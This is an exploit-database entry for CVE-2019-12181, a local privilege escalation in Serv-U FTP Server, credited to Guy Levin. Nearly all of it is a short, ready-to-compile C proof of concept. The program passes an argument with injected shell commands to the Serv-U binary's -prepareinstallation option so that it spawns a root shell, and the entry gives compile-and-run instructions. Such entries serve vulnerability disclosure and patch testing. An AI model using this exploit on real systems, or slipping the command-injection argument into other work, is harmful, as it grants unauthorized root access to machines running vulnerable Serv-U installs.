Serv-U FTP Server 15.1.7 - Local Privilege Escalation (1)

2019-06-18T00:00:00
ID EXPLOITPACK:35F15976F2FDE446888D7061DEDBD900
Type exploitpack
Reporter Guy Levin
Modified 2019-06-18T00:00:00

Description

Serv-U FTP Server 15.1.7 - Local Privilege Escalation (1)

                                        
                                            /*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation 

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{       
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
}